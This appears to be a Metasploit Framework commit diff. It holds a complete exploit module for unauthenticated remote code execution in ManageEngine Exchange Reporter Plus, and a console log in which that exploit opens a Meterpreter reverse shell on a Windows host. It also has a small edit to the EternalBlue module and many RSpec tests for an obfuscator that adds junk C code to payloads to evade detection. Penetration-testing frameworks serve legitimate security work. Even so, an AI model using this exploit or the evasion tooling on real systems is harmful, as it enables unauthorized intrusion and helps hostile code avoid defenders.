|
||||||
|
8. Do: `exploit`
|
||||||
|
9. You should get a shell.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Exchange Reporter Plus 5216 on Windows Target
|
||||||
|
```
|
||||||
|
msf > use exploit/windows/http/manageengine_adshacluster_rce
|
||||||
|
msf exploit(windows/http/manageengine_adshacluster_rce) > set rhost 192.168.88.125
|
||||||
|
rhost => 192.168.88.125
|
||||||
|
msf exploit(windows/http/manageengine_adshacluster_rce) > check
|
||||||
|
|
||||||
|
[*] Version: 5216
|
||||||
|
[+] 192.168.88.125:8181 The target is vulnerable.
|
||||||
|
msf exploit(windows/http/manageengine_adshacluster_rce) > set lport 1111
|
||||||
|
lport => 1111
|
||||||
|
msf exploit(windows/http/manageengine_adshacluster_rce) > set lhost 192.168.88.120
|
||||||
|
lhost => 192.168.88.120
|
||||||
|
msf exploit(windows/http/manageengine_adshacluster_rce) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.88.120:1111
|
||||||
|
[*] Sending stage (179779 bytes) to 192.168.88.125
|
||||||
|
[*] Meterpreter session 2 opened (192.168.88.120:1111 -> 192.168.88.125:49955) at 2018-07-02 18:58:01 +0200
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : WIN10
|
||||||
|
OS : Windows 10 (Build 16299).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : pl_PL
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 2
|
||||||
|
Meterpreter : x86/windows
|
||||||
|
```
|
|
@ -0,0 +1,91 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a remote code execution vulnerability that
|
||||||
|
exists in Exchange Reporter Plus <= 5310, caused by execution of
|
||||||
|
bcp.exe file inside ADSHACluster servlet
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Kacper Szurek <kacperszurek@gmail.com>'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
|
||||||
|
],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Targets' => [['Automatic', {}]],
|
||||||
|
'DisclosureDate' => 'Jun 28 2018',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
|
||||||
|
Opt::RPORT(8181),
|
||||||
|
])
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def bin_to_hex(s)
|
||||||
|
s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_error 'Connection failed'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 200
|
||||||
|
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
json = res.get_json_document
|
||||||
|
raise if json.empty? || !json['BUILD_NUMBER']
|
||||||
|
rescue
|
||||||
|
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status "Version: #{json['BUILD_NUMBER']}"
|
||||||
|
|
||||||
|
if json['BUILD_NUMBER'].to_i <= 5310
|
||||||
|
return CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
|
||||||
|
'vars_post' => {
|
||||||
|
'MTCALL' => "nativeClient",
|
||||||
|
'BCP_RLL' => "0102",
|
||||||
|
'BCP_EXE' => bin_to_hex(generate_payload_exe)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
end
|
||||||
|
end
|
|
@ -106,9 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
class EternalBlueError < StandardError
|
class EternalBlueError < StandardError
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
|
||||||
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Base do
|
||||||
|
let(:stub_code) do
|
||||||
|
%Q|
|
||||||
|
void stub() {
|
||||||
|
int x = 1;
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:base) do
|
||||||
|
allow_any_instance_of(described_class).to receive(:stub).and_return(stub_code)
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#stub' do
|
||||||
|
it 'returns a string' do
|
||||||
|
expect(base.stub.class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns the stub code' do
|
||||||
|
expect(subject.stub).to eq(stub_code)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#good_dep?' do
|
||||||
|
let(:source_code) do
|
||||||
|
%Q|
|
||||||
|
void printf(const char*);
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
const char* s = "Hello World";
|
||||||
|
printf(s);
|
||||||
|
return 0;
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:parser) do
|
||||||
|
Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(source_code)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
it 'returns true when the source supports printf' do
|
||||||
|
allow(subject).to receive(:dep).and_return(['printf'])
|
||||||
|
expect(subject.good_dep?(parser)).to be_truthy
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns false when the source does not support OutputDebugString' do
|
||||||
|
stub_code = %Q|
|
||||||
|
void OutputDebugString(const char*);
|
||||||
|
|
||||||
|
void stub() {
|
||||||
|
OutputDebugString("test");
|
||||||
|
}|
|
||||||
|
|
||||||
|
allow(subject).to receive(:stub).and_return(stub_code)
|
||||||
|
allow(subject).to receive(:dep).and_return(['OutputDebugString'])
|
||||||
|
expect(subject.good_dep?(parser)).to be_falsy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#normalized_stub' do
|
||||||
|
it 'normalizes the stub' do
|
||||||
|
normalized_code = %Q|int x = 1;|
|
||||||
|
expect(subject.normalized_stub.join).to eq(normalized_code)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,49 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection do
|
||||||
|
let(:max_function_count) do
|
||||||
|
3
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:fake_function_collection) do
|
||||||
|
described_class.new(max_function_count)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets functions' do
|
||||||
|
expect(subject.functions.class).to eq(Array)
|
||||||
|
expect(subject.functions.length).to eq(max_function_count)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets the max function count' do
|
||||||
|
expect(subject.max_functions).to eq(max_function_count)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#sample' do
|
||||||
|
it 'returns a Metasm::C::Declaration object' do
|
||||||
|
expect(subject.sample.class).to eq(Metasm::C::Declaration)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#to_s' do
|
||||||
|
it 'converts function objects to a string' do
|
||||||
|
str = subject.to_s
|
||||||
|
expect(str).to match(/function/)
|
||||||
|
expect(str).to match(/return/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#has_function_name?' do
|
||||||
|
it 'returns true if a function name is found' do
|
||||||
|
good_function_name = 'function1'
|
||||||
|
expect(subject.has_function_name?(good_function_name)).to be_truthy
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns false if a function is not found' do
|
||||||
|
bad_function_name = 'badfunctionname'
|
||||||
|
expect(subject.has_function_name?(bad_function_name)).to be_falsy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,40 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction do
|
||||||
|
let(:function_name) do
|
||||||
|
'test'
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:fake_function) do
|
||||||
|
described_class.new(function_name)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets attribute' do
|
||||||
|
expect(subject.attribute.class).to eq(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets a return type' do
|
||||||
|
expect(subject.return_type.class).to eq(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets an argument type' do
|
||||||
|
expect(subject.args.class).to eq(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets function name' do
|
||||||
|
expect(subject.function_name).to eq(function_name)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#generate_body' do
|
||||||
|
it 'contains a return type' do
|
||||||
|
return_type = subject.return_type
|
||||||
|
expect(subject.generate_body).to match(/#{return_type}/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'contains a function name' do
|
||||||
|
expect(subject.generate_body).to match(/#{function_name}/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,43 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::GetTickCount do
|
||||||
|
|
||||||
|
subject(:get_tick_count) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe 'dep' do
|
||||||
|
it 'depends on GetTickCount' do
|
||||||
|
expect(subject.dep).to eq(['GetTickCount'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#single_gettickcount' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:single_gettickcount).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a GetTickCount() declaration' do
|
||||||
|
expect(subject.send(:single_gettickcount)).to match(/int GetTickCount()/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:single_gettickcount)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#diff_gettickcount' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:diff_gettickcount).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a GetTickCount() declaration' do
|
||||||
|
expect(subject.send(:diff_gettickcount)).to match(/int GetTickCount()/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:diff_gettickcount)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,58 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::If do
|
||||||
|
|
||||||
|
subject(:if_statement) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#if_stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:if_stub).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an if statement' do
|
||||||
|
expect(subject.send(:if_stub)).to match(/if (.+) {/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:if_stub)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#if_if_else_stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:if_if_else_stub).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an if statement' do
|
||||||
|
expect(subject.send(:if_if_else_stub)).to match(/if (.+) {/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an else if statement' do
|
||||||
|
expect(subject.send(:if_if_else_stub)).to match(/else if (.+) /)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:if_if_else_stub)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#if_else_stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:if_else_stub).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an if statement' do
|
||||||
|
expect(subject.send(:if_else_stub)).to match(/if (.+) {/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an else statement' do
|
||||||
|
expect(subject.send(:if_else_stub)).to match(/else {/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:if_else_stub)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,22 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::IntAssignments do
|
||||||
|
|
||||||
|
subject(:int_assignments) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:stub).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an int assignment' do
|
||||||
|
expect(subject.send(:stub)).to match(/int .+ = \d+/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:stub)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,26 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Malloc do
|
||||||
|
|
||||||
|
subject(:int_assignments) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:stub).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a malloc' do
|
||||||
|
expect(subject.send(:stub)).to match(/malloc\(\d+\)/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:stub)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'depends on malloc' do
|
||||||
|
expect(subject.dep).to eq(['malloc'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,44 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::OutputDebugString do
|
||||||
|
|
||||||
|
subject(:outputdebugstring) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#outputdebugstring_1' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:outputdebugstring_1).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an OutputDebugString' do
|
||||||
|
expect(subject.send(:outputdebugstring_1)).to match(/OutputDebugString\(.+\)/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:outputdebugstring_1)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'depends on OutputDebugString' do
|
||||||
|
expect(subject.dep).to eq(['OutputDebugString'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#outputdebugstring_2' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:outputdebugstring_2).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has an OutputDebugString' do
|
||||||
|
expect(subject.send(:outputdebugstring_2)).to match(/OutputDebugString\(.+\)/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.send(:outputdebugstring_2)).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'depends on OutputDebugString' do
|
||||||
|
expect(subject.dep).to eq(['OutputDebugString'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,26 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Printf do
|
||||||
|
|
||||||
|
subject(:printf) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.stub.class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a printf' do
|
||||||
|
expect(subject.stub).to match(/printf\(.+\)/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.stub).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'depends on printf' do
|
||||||
|
expect(subject.dep).to eq(['printf'])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,22 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::StringAssignments do
|
||||||
|
|
||||||
|
subject(:stringassignments) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#stub' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.stub.class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'assigns a string' do
|
||||||
|
expect(subject.stub).to match(/const char\* .+ = ".+"/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a stub() function' do
|
||||||
|
expect(subject.stub).to match(/void stub()/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,32 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Switch do
|
||||||
|
|
||||||
|
subject(:switch) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#switch_1' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:switch_1).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a switch' do
|
||||||
|
expect(subject.send(:switch_1)).to match(/switch(.+)/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a default' do
|
||||||
|
expect(subject.send(:switch_1)).to match(/default:/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#switch_2' do
|
||||||
|
it 'is a string' do
|
||||||
|
expect(subject.send(:switch_2).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'has a switch' do
|
||||||
|
expect(subject.send(:switch_2)).to match(/switch(.+)/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,38 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::UninitVariables do
|
||||||
|
|
||||||
|
subject(:uninitvariables) do
|
||||||
|
described_class.new
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#char' do
|
||||||
|
it 'returns a string' do
|
||||||
|
expect(subject.send(:char).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'is char' do
|
||||||
|
expect(subject.send(:char)).to match(/char /)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#int' do
|
||||||
|
it 'returns a string' do
|
||||||
|
expect(subject.send(:int).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'is an int' do
|
||||||
|
expect(subject.send(:int)).to match(/int /)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#string' do
|
||||||
|
it 'returns a string' do
|
||||||
|
expect(subject.send(:string).class).to be(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'is a const char*' do
|
||||||
|
expect(subject.send(:string)).to match(/const char\* /)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,34 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/parser'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Modifier do
|
||||||
|
subject(:modifier) do
|
||||||
|
weight = 80
|
||||||
|
|
||||||
|
source_code = %Q|
|
||||||
|
int main() {
|
||||||
|
int x = 0;
|
||||||
|
return 0;
|
||||||
|
}|
|
||||||
|
|
||||||
|
p = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
|
||||||
|
parser = p.parse(source_code)
|
||||||
|
|
||||||
|
fake_function_size = rand(1..3)
|
||||||
|
fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size)
|
||||||
|
|
||||||
|
described_class.new(parser, fake_function_collection, weight)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#get_fake_statement' do
|
||||||
|
it 'returns an array' do
|
||||||
|
expect(subject.send(:get_fake_statement).class).to eq(Array)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#feeling_lucky' do
|
||||||
|
it 'returns an boolean' do
|
||||||
|
expect(subject.send(:feeling_lucky?).class).to eq(TrueClass).or eq(FalseClass)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,30 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/parser'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Parser do
|
||||||
|
let(:random_weight) do
|
||||||
|
80
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:parser) do
|
||||||
|
described_class.new(random_weight)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets the random weight' do
|
||||||
|
expect(subject.max_random_weight).to eq(random_weight)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#parse' do
|
||||||
|
it 'returns a parser' do
|
||||||
|
source_code = %Q|
|
||||||
|
int main() {
|
||||||
|
const char* s = "Hello World";
|
||||||
|
return 0;
|
||||||
|
}|
|
||||||
|
|
||||||
|
expect(subject.parse(source_code).class).to eq(Metasm::C::Parser)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,72 @@
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/random_statements'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements do
|
||||||
|
|
||||||
|
let(:c_source_code) do
|
||||||
|
%Q|
|
||||||
|
int main() {
|
||||||
|
const char* s = "hello world";
|
||||||
|
return 0;
|
||||||
|
}|
|
||||||
|
end
|
||||||
|
|
||||||
|
subject(:random_statements) do
|
||||||
|
parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_source_code)
|
||||||
|
fake_function_size = rand(1..3)
|
||||||
|
fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size)
|
||||||
|
described_class.new(parser, fake_function_collection)
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#initialize' do
|
||||||
|
it 'sets the parser' do
|
||||||
|
expect(subject.parser.class).to eq(Metasm::C::Parser)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets the fake function collection object' do
|
||||||
|
expect(subject.fake_function_collection.class).to eq(Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'sets the fake function list' do
|
||||||
|
expect(subject.statements).not_to be_empty
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#get' do
|
||||||
|
it 'returns an array' do
|
||||||
|
expect(subject.get.class).to eq(Array)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#make_func_arg_str' do
|
||||||
|
it 'returns the argument string' do
|
||||||
|
fake_function = subject.fake_function_collection.sample
|
||||||
|
fake_function_name = fake_function.var.name
|
||||||
|
fake_function_args = fake_function.var.type.args
|
||||||
|
s = subject.send(:make_func_arg_str, fake_function_args)
|
||||||
|
expect(s).to match(/\(.*\)/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#make_func_declare_arg_str' do
|
||||||
|
it 'returns the function declaration argument string' do
|
||||||
|
fake_function = subject.fake_function_collection.sample
|
||||||
|
fake_function_name = fake_function.var.name
|
||||||
|
fake_function_args = fake_function.var.type.args
|
||||||
|
s = subject.send(:make_func_declare_arg_str, fake_function_args)
|
||||||
|
expect(s).to match(/\(.*\)/)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#get_random_statements' do
|
||||||
|
it 'returns an array' do
|
||||||
|
expect(subject.send(:get_random_statements).class).to eq(Array)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#get_random_function_call' do
|
||||||
|
it 'returns a function call' do
|
||||||
|
expect(subject.send(:get_random_function_call).class).to eq(Array)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,49 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer/utility'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Utility do
|
||||||
|
|
||||||
|
describe '#self.rand_int' do
|
||||||
|
it 'returns an integer' do
|
||||||
|
int = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
|
||||||
|
# Ruby at one point switched from Fixnum to Integer, so to support both,
|
||||||
|
# it's easier to do a regex check.
|
||||||
|
expect(int.to_s).to match(/^\d+$/)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns a random integer' do
|
||||||
|
int_1 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
|
||||||
|
int_2 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
|
||||||
|
expect(int_2).not_to eq(int_1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#self.rand_string' do
|
||||||
|
it 'returns a string' do
|
||||||
|
s = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
|
||||||
|
expect(s.class).to eq(String)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns a random string' do
|
||||||
|
s_1 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
|
||||||
|
s_2 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
|
||||||
|
expect(s_2).not_to eq(s_1)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe '#self.parse' do
|
||||||
|
let(:c_code) {
|
||||||
|
%Q|
|
||||||
|
int main() {
|
||||||
|
const char* s = "This is a test";
|
||||||
|
return 0;
|
||||||
|
}|
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'returns a Metasploit::C::Parser object' do
|
||||||
|
p = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_code)
|
